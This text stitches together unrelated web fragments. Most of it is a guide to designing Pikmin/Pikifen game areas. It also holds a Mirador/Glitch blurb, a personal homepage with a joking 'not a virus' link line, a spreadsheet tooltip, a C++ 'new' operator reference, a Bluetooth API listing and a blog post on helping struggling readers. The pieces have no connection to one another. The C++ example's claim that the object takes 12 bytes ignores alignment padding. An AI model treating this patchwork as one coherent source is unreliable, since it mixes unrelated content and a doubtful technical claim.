- Suppose you have nothing to add between these two sections but you know something has to go there. You can just have a section that's like "a generic shared room with some enemies". But keep that to a minimum, otherwise your area will have no sense of cohesion or theme.
Bubbles and connections
- Bubble sizes matter, but locations don't.
- Each bubble's size should match the general size of that section, so a simple dead end with a treasure should be small while the landing site should probably be large. Since what matters most about this diagram is the connections between sections, the exact location of each bubble doesn't matter yet. At a later point, if you want, you can redo the diagram to put each section in its correct geographical place though.
- Bubbles should have some space between them.
- Give enough space between bubbles so you have enough room for the connections and for any adjustments.
- Bubbles should contain important information about the section.
- Inside each bubble, write down its section's name and any extra notes you think of.
- Connections represent which sections can be accessed from which.
- Typically a connection is a corridor, doorway, or drop-off ledge, though it is up to you if you want to make a given corridor or doorway a section or not.
- Connections are drawn with lines, and you can use line styles and numbers for more info.
- Draw a line from one bubble to another when you want players or Pikmin to be able to go from one to the other. The style of the line can be used to convey information about how the movement occurs, and if you want, you can write a number nearby to indicate how many of that connection should exist. Some suggestions for line types can be found in the next section.
Line type suggestions
- Simple connections can be represented with a straight line, and just mean that the player and their Pikmin can walk between section A and section B freely.
- If you want to make it so the player can go from A to B but not the other way around, like if there is a drop-off, draw that connection with an arrow. It is possible to have an arrow from A to B, and also another from B to A, since that just means that there are two one-way paths the player can take.
- If the player can go from A to B if they open a shortcut, draw that as a dashed or dotted line.
- Finally, if the player can go from A to B in a special way (like a Bouncy Mushroom), draw that with a line styled in whichever special way you prefer.
Checklist
With the final diagram in front of you, you should be able to tell a lot of things about the area:
Sketch stage
Overview
- The idea is to draw a sketch of the area that goes into detail.
- This sketch will be based on the concept document and the bubble diagram. It will make it easier to develop the area in Pikifen itself, since erasing or moving some scribbles is much easier than doing the same to complex video game geometry. Again, since we're drawing, you can either go digital or physical.
- Draw the shapes of sections and connections.
- Simply put, draw the shape and location of each room, alcove, opening, corridor, ledge, wall, and so on. You don't have to go into very fine detail, and it doesn't need to match the exact dimensions of the bubble diagram since those were just for comparison between sections.
- Keep dimensions in mind.
- Particularly, when you are drawing things that belong to the real world, try making their sizes match.
- Also draw objects and important info.
- Include important objects as well as any special graphical information you think will be important to hold on to, like the destination for obstacles that can be pushed, any special carrying paths, whether a given section is higher or lower than a neighboring one, or other notes.
Guidelines
Gameplay:
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Aesthetic:
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Implementation stage
Overview
- In this stage, you implement the area in the engine's area editor.
- Once you are content with the previous stages, boot up the engine, go to the area editor, create a new area, and start applying the contents of the area into the editor.
- You can import sketches into the editor.
- With the sketch inside the area editor, you can draw your geometry on top of it, and even control its position, size, opacity, and more.
- Playtest often.
- As you make changes, try quick-playing what you have made to make sure everything feels interesting and flows well.
- Focus on gameplay and don't worry about details.
- The details aren't likely to change, but corrections to the area for the sake of gameplay will be plenty. If you add details now, you will have to redo them whenever you change parts of the area.
Process
Polish stage
Once you're done making a functional area, you should worry about polish. Add details, tweak the textures, use the review panel to make sure there are no problems, and apply some final tips to make sure your area is really nice and fun. Here's a checklist of tips:
Gameplay:
Aesthetic:
Final steps:
After this, you should likely send it to other people to playtest. Having others chime in will help you find problems, glitches, and improvements.
Guideline details
Landmarks
- Landmarks are very important. Also, don't have too many or too few.
- The spatial awareness challenge in Pikmin comes from understanding where everything is, will be, and must go to, and what paths there are in the area to achieve that. The player will naturally map the area in their head, so most of the time, they'll understand its layout from heart, even if they may still check the radar sometimes. However, having the area mapped out in your head becomes next to impossible if it is just made of several nondescript corridors. Dedicate some parts of the area to include something no other part has.
- In a stage like Silver Lake, one landmark would be the L-shaped terrain at the north, while another would be the round alcove at the northeast. If the player is around the corridor circling the lake, they will have a much easier time understanding where they are, and where the rest of the map is in relation, if they notice and understand where that alcove is. However, if the alcove looks like any other alcove in the area, and there are dozens of them, the player won't be able to tell them apart.
- All of that said, you can have fewer landmarks to make your area harder to understand on purpose. But don't push it, and make sure the area is still interesting in other ways.
Replayability
- Players should be encouraged to replay areas.
- Don't make the stage so easy or manageable that the player can ace it and get bored with it after one run. The idea is to get the player to play more than once so they start to get a better understanding of the area, as well as refine their own strategies. Add small things that would go over the heads of players who don't explore thoroughly. Have several different ways to approach problems, so that the player can feel encouraged to try something different next time, and learn what works best and what doesn't.
- Practical examples include multiple paths, unlockable shortcuts, and special objects that can be used in multiple ways (like bomb rocks for enemies or for shortcut opening).
- Don't have too many empty sections.
- Although some large open areas are fine, if they are filled with nothing, the player will get bored, and will need to walk for several seconds before they reach anything important. This is especially bad in a game of the Pikmin series, where players need to cross the same sections multiple times, back and forth.
- Pikmin is a real-time strategy series. Have loads of options to keep the player deciding what to have their Pikmin do next.
- If your area is too linear, then there isn't much the player can pick from when deciding what to do next. Similarly, if every task is just defeating an enemy, the player doesn't need to decide either, because their goal is "defeat all enemies", and the order doesn't really matter. But if there are bridges to build, gates to take down, Pellet Posies to farm, and enemies to defeat, the player will have a lot of possible ways to tackle the tasks, in different orders, and with different Pikmin amounts.
- The start shouldn't be repetitive.
- The fun of a Pikmin area is in exploring and trying out different strategies. Players that are chasing after high scores, and even you yourself when playtesting the area during development, will both be repeating the start of the area a lot. So it's in everyone's best interest if the player isn't forced to do the same repetitive motions every time they start.
- For instance, if at the start there's a 15-weight paper bag blocking the way, 15 plucked Pikmin, and nothing else of interest to do in the area except pluck them and weigh down the bag, then players will quickly get frustrated that they need to tediously pluck and throw the Pikmin every single time. It's not even challenging. Having the Pikmin idling instead is much more convenient, since the player can quickly whistle them. Or better yet, get rid of the paper bag entirely.
- This isn't to say starting with plucking is a bad thing; that's how most Challenge Mode areas are in the first Pikmin game. If there are a lot of Pikmin to pluck, but a lot of small tasks at the ready, the player can decide how many Pikmin they want to pluck before putting them to work and resuming the plucking.
- In addition, try having some easy enemies around. Growing your army using just pellets gets a bit unengaging.
Space
- Use a lot of verticality, but don't go overboard.
- Areas work best when they have a lot to explore and a lot to do. In two dimensions, you already have a lot of movement possible, but with three dimensions, you have even more. Whenever you can, make your layout have ledges and ramps here and there. These provide visual variety and gameplay control (since objects can only go one way through ledges). But don't overdo it, otherwise there will be too many places that are hard to read, and the player won't be able to make anything out of the area.
- Path splits aren't just left-or-right choices.
- If you want to split a path into two, you are not limited to creating a wall between the two corridors. Make one of the paths be parallel to the other, but go up or down instead. Or have an open area with several exits. Or make a section of the area seem normal and (sensibly) cluttered with decorative geometry, and if the player goes around some of the clutter, they'll find themselves in a completely different place than if they had gone the other way. Or split the paths with an obstacle that can be walked on as well, like water or terrain in some other elevation (higher or lower). Just use your creativity. You can even have two different paths that are separated by a very small wall, such that it is possible to throw Pikmin or leaders to the other side.
Performance
These tips help make your area not set machines on fire. When making an area, if there's too much going on, the game can slow down. Even if it doesn't on your machine, it could on weaker computers. Even if you don't use these tips, it's important to keep them in mind to stop your area from being too bloated and running into performance problems. These tips mostly apply to Pikifen, but can also be useful when editing areas or caves in the canon games.
- More content means more processing time.
- The more geometry and objects in an area, the longer the game will have to take to process all of them, from figuring out their physics and logic, to rendering them on-screen. As a general rule of thumb, try not to bloat your area with too much content if you're worried about performance.
- Pikmin and enemies are the biggest performance hogs.
- The logic behind a gate is no more complicated than "lose health if you get hit". But Pikmin and enemies use a lot more logic than that. Try not to have an area with a massive amount of enemies just because, and consider reworking its design to make the numbers more manageable by the game's engine.
- Walls don't need to be very smooth to be convincing.
- To make a smooth curve, you'll need several lines. But you can probably create a decent curve using less lines than you think. Unless the player passes by and rubs against that wall a lot of times, you probably don't need to make it very smooth. The simpler it is, the less processing time for checking collisions and rendering. Even the canon games have jagged geometry.
Shortcuts
- Shortcuts need to cost resources.
- If there are two paths open, the player will just always pick the fastest one, which is something you rarely want because it's not engaging most of the time. If the fastest path is locked behind something like a gate, the player can decide if it's worth it to keep their Pikmin and take the open path, or if they should take some time to open the second path, since it might be faster for their needs. Make sure that the answer to this problem isn't immediately obvious, and requires some experimenting from the player.
- Instead of blocking shortcuts, you can also try making them more dangerous, which requires the player to decide if they want to risk it just to be faster.
Getting stuck
- Make sure the player can't get themselves stuck.
- Whenever there is a drop-down somewhere, make sure your leader has a way to get out. The player shouldn't have to remain stuck forever just because they fell in a hole. A thin one-way tunnel that ends on a drop outside of the hole is a good strategy. If you somehow want to punish the player for falling, at least don't make the punishment keeping them stuck – place them in a hazard or make the drop be a bottomless pit instead. This tip also applies to Pikmin, but since they're disposable, it's not as important as the player's leader. There are other ways the player can get stuck too, like whistling and/or killing Pikmin that were keeping the exit open, throwing an important puzzle element into a bottomless pit, etc.
Area identity
- The landing site should identify what your area is about right away.
- If your area follows a certain theme, or a certain gimmick, you should try to make it visible right from the landing site. The landing site is where players spend most of their time, and is engraved into their memory more easily than most parts. So if you want your area to be recognizable and stand out, make sure its defining features are present in the landing site, though keep in mind not to overload the scene, or to expose players to any dangerous gimmick here.
Visual details
- Save some space for details.
- Not every part of an area needs to have something to do. It's perfectly fine to reserve a small alcove or roundabout in an open plain that just serves to add detail to the area. A forest area with no branches or stones in sight is going to look weird, and if all branches and stones are tucked away outside of play, the area won't look natural. That said, don't sacrifice gameplay just for these details.
- Special effects aren't as subtle as you think.
- To give an area some mood, you can use some special lighting, for instance. It's easy to exaggerate it, though. Using a fog effect to limit the player's visibility can be a great gameplay mechanic, but remember the type of game you're working for. In Pikmin games, the player needs to be aware of the state of the world, even in parts where they cannot see right now, which means the fog effect adds a neat, but perfectly fair challenge. If it is too strong though, the player will take much longer to explore and scout the status of their troops, making adapting the plans difficult or nearly impossible. That is neither fun, nor what Pikmin is about.
- Even if an obscuring effect looks subtle to you as a maker, you have to remember that you know the area and the player doesn't. Plus, combine that with the fact that the player needs to focus on playing the game while trying to explore.
- Visual detail shouldn't stand out.
- Any visual details that you add to your area to make it look better shouldn't use colors and shapes that are very different from their surroundings. Otherwise, they will call the player's attention, making it harder for the player to focus on the parts of the area that are really important.
Natural look
- Avoid geometric cleanliness.
- Unless your area takes place in a more mechanical or man-made environment, chances are you shouldn't have many symmetric layouts, or many walls and walkways that bend at rough 90 degree angles. Try some wobbly lines, make use of diverse angles, and don't be afraid of rounder shapes.
- Think of the logic behind the placement and shape of the area's elements.
- You may need to create a maze inside this tree trunk that leads to a small stony cave with some Pellet Posies. If you must do exactly that for your level to play well, then do so, but if not, try to take a step back and check if that makes real-world sense. A dirt pathway can be twisted and have all sorts of openings, but a maze path inside a tree trunk? Who carved it, and why is it so convoluted? If you don't have an answer to that, you may want to try changing the setting behind the maze (again, to dirt, for example), or remove the maze entirely. And what about the reward at the end? Why are there Pellet Posies growing inside a cave? Don't plants need water, soil, and sunlight to grow? Maybe consider changing your reward to some eggs or, again, rework the setting around the reward.
- You don't need to constantly run away from this trope, since often, the level's layout and flow will be more important than the realistic object placement.  You could also want to combine elements in a non-realistic fashion to create a creepy vibe. But other than that, try to keep this detail in mind when making areas.
- Use varied textures, but keep them thematic.
- A beach area that mostly uses a sand texture and a rock texture can get very confusing to navigate in. Using sand textures of different shades, using rock textures of different patterns, and even adding some more textures to the mix, like gravel or dirt, can help make an area that still has a bunch of beach-themed textures, while keeping things varied and engaging for the player.
Out of bounds
- The out-of-bounds terrain should be cluttered and/or colored darker.
- When you see the entire area from afar, it's easy to tell what is out-of-bounds scenery. But when you're playing, that ledge up there could as well be reachable later, as far as the player knows. To make sure the player understands the limits of the area and doesn't get lost, try picking darker floor textures for the out-of-bounds terrain (this is because light is usually attractive). You can also fill it with foliage or debris to make it an unwelcoming place to navigate in. This should hint to the player that they aren't meant to go up there.
- Don't go overboard with this though, otherwise the player will feel caged off in an artificially crafted room.
- The edges of the world shouldn't be easily visible.
- The out-of-bounds geometry has to end eventually, and beyond that, there's only the void that encompasses the game world. It's good practice to make that geometry fade out into the darkness so the cut isn't so jarring. On top of that, the player shouldn't be able to see this darkness, most of the time. If they do, it might throw them out of their immersion, since the void isn't very realistic. Make the edges be far away from the playable area. Since you can't stop the player from seeing it all the time (the player can use a far away zoom level, high screen resolution, etc.), you shouldn't stress on placing them super far away. Some stages look good when purposely enveloped in a dark void, or they have some other stylized void which fits the theme, so this tip may not apply to all areas.
Ideas
Tips and tricks that might not apply to all areas, but can provide some nice ideas or help you overcome creativity roadblocks.
Player emotion
- Entice the player by letting them see something good before they can get to it.
- For instance, have a large Pellet Posy on top of a ledge that requires a long path to get to, or is behind some gate. This will keep the player interested, and they will have to measure if the time and Pikmin investment is worth it. The longer the player goes without being able to get their reward, the better it will feel when they get it, but keep it within reasonable limits!
Appearance
- When there is a fork in the path such that one side ramps up or down, try adding a boulder in the splitting point.
- Imagine you have a path, and then further ahead that path splits into the plain you started on to the left, and a path ramping up to the right, such that this path is a wall to the path below. You can have that split happen just like that, but you may want to consider placing a boulder or some natural solid decoration in the place where the path splits exactly, to make the cut seem less jarring. This is used extensively in Xenoblade Chronicles (example).
- Try the golden ratio to make things look more natural.
- The golden ratio is supposedly present in a lot of things in nature. If you're struggling to come up with a layout that looks neat, try resizing the openings, floors, curves, etc. to relate with the golden ratio to other such openings, floors, or curves. It may make it better, or it may have no effect at all, but it's worth a shot.
Gating
In game design, gates are any form of terrain feature, object, or gimmick that stops the player from doing something. These are especially important in puzzle stages, when you don't want the player to just be able to walk right up to the exit. Instead of creating some custom artificial object that limits the player in the exact way you intend, you should make use of natural features of a typical area to achieve the desired effect. Here are some ideas:
- Keys and locks: A type of gate where the player cannot proceed unless they have something with them from elsewhere that they can use to open the path. The best tools for the job are bomb rocks (keys) and reinforced walls (locks). Another type could be a hazardous obstacle (lock) that can only be destroyed by the Pikmin types (keys) immune to that hazard.
- One-way: Ledges naturally force the player to go down one way, but be unable to go back from where they came.
- No Pikmin: Your best bet for a path that only leaders can go through, but not Pikmin, is to use some hazard that is harmful to the Pikmin available but is harmless to leaders. Geysers can also be used, but remember that Winged Pikmin can probably follow the leader up.
- No leaders: Use a high thin wall that Pikmin can be thrown over, but leaders cannot climb past.
- No grounded Pikmin: Make some long path suspended above a cliff, such that leaders can't throw Pikmin from one ledge to the other, but Winged Pikmin can traverse just fine. Remember you can also tweak an area's path links to limit them to flying objects only.
- No carrier Pikmin: Path links in an area can be limited to only allow light-load Pikmin to go through. This means Pikmin that are not carrying anything (or are carrying a small one-weight item) are the only ones that will take said path. To make this look natural, you should have this path in a tight corridor, which should make it clear to the player why larger objects can't be carried through.
- No access besides X Pikmin: To make locations that only certain Pikmin types can traverse, surround the place with a hazard that only those Pikmin are immune to.
Misc.
- To stop the player from being able to whistle Pikmin on the other side of a wall, either put those Pikmin too far away to reach, or make them sprouts.
- Ledge smoothing looks particularly good on rocks.
- Try adding some crop circle pattern underneath the Onion and ship landing spots.
- To represent the path that an object is going to take, try changing the floor texture to dirt, or some other beaten-down texture. This way, the player can know what to expect.


I'm your cool new Mirador. Made with Glitch! For a more complex start to setting up Mirador, checkout the CodeSandbox example


I'm Kyle. Welcome to my page. I hope you enjoy it! (I'll update more of this as I can.)
I've been working on some DOOM2 WADs, and I'll post them as I finish them. I'll also post some electronic music stuff.
Click me I'm not a virus I swear to god I'm not
Click here to download the save state for the Missingno. glitch in Pokemon Red! (You have to have a Pokemon Red ROM file and OPENEMU to access the file!)
Some artists that I listen to:
| Artist |
Album |
Genre |
| HKE |
HK |
Dreampunk |
| Telepath |
A |
Ambient Techno |


Template of the filename to generate. Use ${activefilter} to replace with the value of the filtered column. Filename output and sheet name. Check box to hide the currently filtering column


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new
Syntax:
pointer = new type; pointer = new type( initializer ); pointer = new type[size]; pointer = new( arg-list ) type... The new operator (valid only in C++) allocates a new chunk of memory to hold a variable of type type and returns a pointer to that memory. An optional initializer can be used to initialize the memory. Allocating arrays can be accomplished by providing a size parameter in brackets. The optional arg-list parameter can be used with any of the other formats to pass a variable number of arguments to an overloaded version of new(). For example, the following code shows how the new() function can be overloaded for a class and then passed arbitrary arguments: class Base { public: Base() { } void *operator new( unsigned int size, string str ) { cout << "Logging an allocation of " << size << " bytes for new object '" << str << "'" << endl; return malloc( size ); } int var; double var2; }; ... Base* b = new ("Base instance 1") Base; If an int is 4 bytes and a double is 8 bytes, the above code generates the following output when run: Logging an allocation of 12 bytes for new object 'Base instance 1' |


#include <btnetwork.h>
Public Member Functions | |
| Bool | Init (const BtUUID *app_uuid) |
| Initializes bluetooth. | |
| Bool | StartSlave () |
| Switches bluetooth into slave mode. | |
| Bool | StartMaster () |
| Switches bluetooth into master mode. | |
| Bool | StartDiscoverSlaves () |
| Starts slave devices discovery sequence. | |
| Bool | GetDiscoveredSlaves (vector< BtHost > *hosts) |
| Enumerates hosts, found during slave discovery. | |
| IBtConnection * | GetInboundConnection () |
| Retrives inbound connection. | |
| IBtConnection * | ConnectSlave (const BtHost &remote_host) |
| Starts connection establishement. | |
| void | CloseConnection (IBtConnection *connection) |
| Disconnects and closes specified connection. | |
| void | StartShutdown () |
| Starts bluetooth system shutdown. | |
| Bool | IsShutdownComplete () |
| Verifies if bluetooth system shutdown is finished. |
Manages Bluetooth SDP discovery, advertisement and connection establishement. You don't have to create instances of BtNetwork by yourself, use btnet member of System object instead.
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Disconnects and closes specified connection. Pointer to connection is no longer valid and should not be used any more.
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Starts connection establishement. Tries to establish connection to remote device. Returns pointer to created IBtConnection object. This connection object will be in connecting state.
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Enumerates hosts, found during slave discovery.
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Retrives inbound connection. Available only in slave mode. Returns pointer to new connection object if there was an inbound connection from master accepted or NULL if there is no an inbound connection accepted or there is already one active connection. Note, that slave can have only one active connection, so before another connection can be accepted, active connection must be explicitly closed with CloseConnection.
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Initializes bluetooth. Must be called before any other use of BtNetwork class.
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Verifies if bluetooth system shutdown is finished.
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Starts slave devices discovery sequence.
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Switches bluetooth into master mode. Master can perform device discovery and establish connections to slave devices.
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Starts bluetooth system shutdown. This process can take some time. Call IsShutdownComplete() to ensure that bluetooth system shutdown is complete. |
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Switches bluetooth into slave mode. Slave registers application in bluetooth SDP and begins listening for inbound connections.
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--- layout: post title: How to Encourage a Struggling Learner date: 2013-01-12 13:35:40.000000000 -08:00 type: post parent_id: '0' published: true pd: '' status: publish categories: - Classroom Talk - Guest Posts - Reading Instruction tags: - learning to read - reading comprehension - Reading Instruction - reading readiness - Struggling Readers - teaching reading author: login: k email: k@k display_name: mcary first_name: '' last_name: '' ---
Guest Post By: David Morgan
Learning to read can be one of life’s most stressful events for a child. For some children, picking up phonics and spelling seems like second nature. For others, the reading process sparks long-lasting low confidence and a chronic distaste for schoolwork. Parents often find it difficult to know how to build up self-confidence in a child while also correcting their mistakes. Pairing praise and criticism is not an easy job, so we have a special rule that helps to keep the two in balance.
“The Rule of 5” says that as a parent you must say five encouraging remarks to your child before you can say something negative.
But I can’t let my child get away with reading a word wrong, can I? You might ask this question – and it’s a good one! Our children do need a lot of correction as they grow. But the problem is that even the most well-meaning correction will always come across to a child as a harsh criticism. Even children with high confidence tend to take correction badly. We’ve found that once you practice a praise-first policy, children become more open to hearing instruction.
We’ve called this idea The Rule of 5 in order to make the model more tangible. You might want to pledge to a Rule of 3 or a Rule of 7, depending on your child. The idea is that once you have a numerical target to reach, it is easier to measure your success. We always perform better to specific challenges than general ones.
Especially if your child struggles with school and has fragile self-esteem, The Rule of 5 not only increases confidence but also will usually improve academic performance. Stress can be a main cause of reading difficulty, because your body responds to stress by shutting down the learning centers in the brain. This is a part of the “fight or flight” response. The body focuses all of its energy on responding to the threat, at the expense of non-essential functioning like digestion and learning. So once some of that school-related stress has been alleviated, the brain is much better prepared for the learning environment.
If The Rule of Five is a new concept, give it a try over the course of one week. I am sure that you will love the outcome!
David Morgan is CEO of Oxford Learning Solutions, publisher of the Easyread System. Easyread is an online course that helps children with dyslexia, auditory processing disorder, and highly visual learning styles improve their reading and spelling through short daily lessons. Find out more at www.easyreadsystem.com or on Facebook at www.facebook.com/easyreadsystem


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